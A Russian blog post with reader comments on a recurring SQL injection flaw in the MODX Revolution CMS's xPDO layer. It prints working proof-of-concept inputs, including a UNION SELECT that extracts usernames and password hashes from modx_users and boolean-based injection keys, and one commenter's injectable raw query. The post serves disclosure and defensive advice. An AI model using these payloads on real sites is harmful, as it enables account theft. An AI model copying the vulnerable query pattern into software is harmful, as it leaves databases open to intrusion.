История SQL-injection в MODX Revolution
История SQL-injection в MODX Revolution начинается с того, что любой багрепорт изначально воспринимается как «ожидаемое поведение».
Так было в декабре 2013 года с подготовкой запроса через метод toSQL
Так в последствии стало и с методом getObject в начале марта 2014 года, когда в качестве демонстрации уязвимости был представлен код:
Реакция ожидаемая — если ты передаешь парамеры без фильтрации, то сам себе злобный буратино. Но как выяснилось, один из таких буратин писал коннекторы в ядре. И багу начали править — 8 марта 2014 года в свет вышла версия MODX Revolution 2.2.13 в которой «закрыли» уязвимость. Обратите внимание на кавычки и последний абзац в заметке моего блога
И вот наконец еще одно ожидаемое поведение:
Так было в декабре 2013 года с подготовкой запроса через метод toSQL
$q = $modx->newQuery("modResource");
$q->select('id,pagetitle')->where(array('alias'=>'qwe?', 'pagetitle'=>') UNION SELECT id,username FROM modx_users#' ))->prepare();
$q = $modx->query($q->toSql());
$result = $q->fetch(PDO::FETCH_ASSOC);
print_r($result);
// SELECT `id`, `pagetitle` FROM `modx_site_content` AS `modResource` WHERE ( `modResource`.`alias` = 'qwe') UNION SELECT id,username FROM modx_users#'' AND `modResource`.`pagetitle` = ? )
/** Array ( [id] => 1 [pagetitle] => admin ) */
Так в последствии стало и с методом getObject в начале марта 2014 года, когда в качестве демонстрации уязвимости был представлен код:
$data = $modx->getObject('modResource', $key);
$out = is_object($data) ? $data->toArray() : '';
print_r($out);
Со следующим набором значений $key$key = 1;
$key = array( 'pagetitle' => 'Home' );
$key = array( 'pagetitle` IN (1) UNION SELECT id,username,password,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,\'modResource\',34,35,36,37,38,39,40 FROM modx_users WHERE id = 1;/*' => '' );
Реакция ожидаемая — если ты передаешь парамеры без фильтрации, то сам себе злобный буратино. Но как выяснилось, один из таких буратин писал коннекторы в ядре. И багу начали править — 8 марта 2014 года в свет вышла версия MODX Revolution 2.2.13 в которой «закрыли» уязвимость. Обратите внимание на кавычки и последний абзац в заметке моего блога
Вышла версия 2.2.13 которая должна закрывать уязвимость с проникновением на сайт через контексты. Но сама SQL-injection при получении объектов все еще рабочая. Видимо сочли это менее критичным и решили что этот фикс может уже подождать до 2.3 версии. В общем всем рекомендую обновиться...Ноябрь 2016 года и массовая истерия, а затем фикс. Нужно ли в очередной раз повторять, что это та же самая уязвимость?
И вот наконец еще одно ожидаемое поведение:
$key = ['1=(SELECT 1)'];
$key = ['NOT EXISTS(SELECT 1)'];
Поблагодарить автора
Отправить деньги
Комментарии: 21
Мда. Вот тебе и пифагоровы штаны во все стороны равны.
А эволюшн xPDO использует или это счастье досталось только Revoлюционерам?
А эволюшн xPDO использует или это счастье досталось только Revoлюционерам?
Нет, не использует. Там разработчики дополнений самостоятельно обрабатывают пользовательские данные.
Интересно. А как же с ресурсами работать? Ставить какой-то ORM?
Ну костыль для этого дела уже придумали в виде MODxAPI
Решение — запретить неассоциативные массивы?
Скорее всего, разработчикам нужно тщательней руками фильтровать данные, а не полагаться на xPDO
Я так понимаю, что в getCollection такая же бяда.
Да, но я не встречал еще выборок вида ->getCollection('modXXXXXX', $_REQUEST);
Зато для ->getObject('modXXXXXX', $_REQUEST) можно найти массу примеров.
Зато для ->getObject('modXXXXXX', $_REQUEST) можно найти массу примеров.
На самом деле это не бага, это фича ))
xPDO позволяет вставлять так называемые raw условия через массив со строкой аналогично методу whereRaw в Ларавел. И этим часто пользуются. Поэтому задача по безопасности ложится целиком не плечи разработчиков. Обязательно фильтровать данные, пришедшие от пользователя!
xPDO позволяет вставлять так называемые raw условия через массив со строкой аналогично методу whereRaw в Ларавел. И этим часто пользуются. Поэтому задача по безопасности ложится целиком не плечи разработчиков. Обязательно фильтровать данные, пришедшие от пользователя!
Именно! Ну а раз так, то рано или поздно найдутся уязвимые компоненты. Возможно даже в ядро движка что-то просочится. Поэтому запасаемся попкорном:-)
Вообще можно свой фильтр установить для своих классов.
В XPDO есть функция:
Пример:
В XPDO есть функция:
https://github.com/modxcms/revolution/blob/2.x/core/xpdo/om/xpdoquery.class.php#L374
Где можно фильтровать данные для своих таблиц. Правда без правки файла не обойтись.Пример:
public function condition(& $target, $conditions = '1', $conjunction = xPDOQuery::SQL_AND, $binding = null, $condGroup = 0)
{
if ($className = $this->xpdo->loadClass($this->_class)) {
if ($this->xpdo->getPackage($className) == 'minishop') {
// тут проверка
return $this;
}
}
$condGroup = intval($condGroup);
if (!isset ($target[$condGroup])) $target[$condGroup] = array();
try {
$target[$condGroup][] = $this->parseConditions($conditions, $conjunction);
} catch (xPDOException $e) {
$this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $e->getMessage());
$this->where("2=1");
}
return $this;
}
Андрей, всё гораздо проще. Если пользуетесь modHelpers, то там есть функция filter_data(). Можно фильтровать данные на событие onHandleRequest или непосредственно перед использованием.
В простейшем случае для getObject используйте преобразование типов и массив.
В простейшем случае для getObject используйте преобразование типов и массив.
Ну или так.
Кстати, супер компонент modHelpers. Очень много вопросов закрыл с помощью него.
Выше приведенный метод использовать для отправки данных в sphinxQL именно по этому привел его в пример)))
Кстати, супер компонент modHelpers. Очень много вопросов закрыл с помощью него.
Выше приведенный метод использовать для отправки данных в sphinxQL именно по этому привел его в пример)))
Выше приведенный метод использовать для отправки данных в sphinxQL именно по этому привел его в пример)))Надеюсь, вы помните про обновление.
Не понял про что.
Про функцию «condition»
Так как после преобразования запроса его уже нормально не обработать.
Так я его смог передать в sphinxQL, ну а там уже собственно до лампочки какие SQL инъекции производятся в таблицы sphinxsearch… по сути влияют только на поиск.
Про функцию «condition»
public $customConditions = array();
public function condition(& $target, $conditions = '1', $conjunction = xPDOQuery::SQL_AND, $binding = null, $condGroup = 0)
{
// TODO Здесь установлен хук
if ($className = $this->xpdo->loadClass($this->_class)) {
if ($this->xpdo->getPackage($className) == 'sx') {
$this->customConditions = $conditions;
}
}
$condGroup = intval($condGroup);
if (!isset ($target[$condGroup])) $target[$condGroup] = array();
try {
$target[$condGroup][] = $this->parseConditions($conditions, $conjunction);
} catch (xPDOException $e) {
$this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $e->getMessage());
$this->where("2=1");
}
return $this;
}
$q->customConditions
от сюда можно получить нормальный запросТак как после преобразования запроса его уже нормально не обработать.
Так я его смог передать в sphinxQL, ну а там уже собственно до лампочки какие SQL инъекции производятся в таблицы sphinxsearch… по сути влияют только на поиск.
если делать так
поможет от инъекций?
$email = $_POST['emai'];
$email = $modx->stripTags($email);
$p_results = $modx->query("SELECT id,email FROM modx_my_user WHERE email = '$reg_email' limit 1");
$p_r = $p_results->fetch(PDO::FETCH_ASSOC);
поможет от инъекций?
- Если используете сырые запросы, то посмотрите в сторону биндинг привязок.
- Если работаете с моделями через getObject/getCollection и т.п., то используйте ассоциативный массив во втором аргументе для передачи параметров вида ключ-значение, а не просто значение.
- Если строите выборку через newQuery, то проверьте насколько доверенные данные вы передаете в where и другие методы
Нет:-)
а что посоветуете?
$key = ['1=(SELECT 1)'];
$key = ['NOT EXISTS(SELECT 1)'];
не понял про это, просьба чутка разжевать
Boolean-based SQL Injection
SELECT * FROM users WHERE 1 = (SELECT 1) # Все данные из таблицы
SELECT * FROM users WHERE 1 = (SELECT 0) # Ничего
Естественно вложенный запрос SELECT 1/0 может быть любым вида SELECT IF(count(*) > 1000, 1, 0) FROM content
Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.